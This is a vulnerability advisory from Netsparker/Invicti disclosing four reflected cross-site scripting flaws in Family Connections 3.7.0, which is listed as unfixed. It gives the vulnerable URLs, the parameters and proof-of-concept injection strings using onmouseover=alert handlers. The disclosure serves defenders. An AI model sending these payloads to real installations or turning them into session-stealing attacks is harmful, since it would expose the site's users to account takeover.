Multiple Cross-site Scripting Vulnerabilities in Family Connections 3.7.0


Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in Family Connections
Affected Software: Family Connection
Affected Versions: 3.7.0
Vulnerability: Multiple Reflected XSS
Severity: High
Status: Not Fixed
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Invicti Advisory Reference: NS-18-040

Technical Details

URL: /familytree.php?delete=x" onmouseover=alert(0x011D92) x="
Parameter Name: delete
Parameter Type: GET
Attack Pattern: x" onmouseover=alert(0x011D92) x="

URL: /gallery/index.php?uid=x" onmouseover=alert(0x011D84) x="&cid=toprated
Parameter Name: uid
Parameter Type: GET
Attack Pattern: x" onmouseover=alert(0x011D84) x="

URL: /messageboard.php
Parameter Name: search
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x011D74) x="

URL: /calendar.php?add=%27%22%20onmouseover%3dalert(0x0036BC)%20
Parameter Name: add
Parameter Type: GET
Attack Pattern: '" onmouseover=alert(0x0036BC)

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

25th April 2018 – First Attempted Contact
3rd January 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.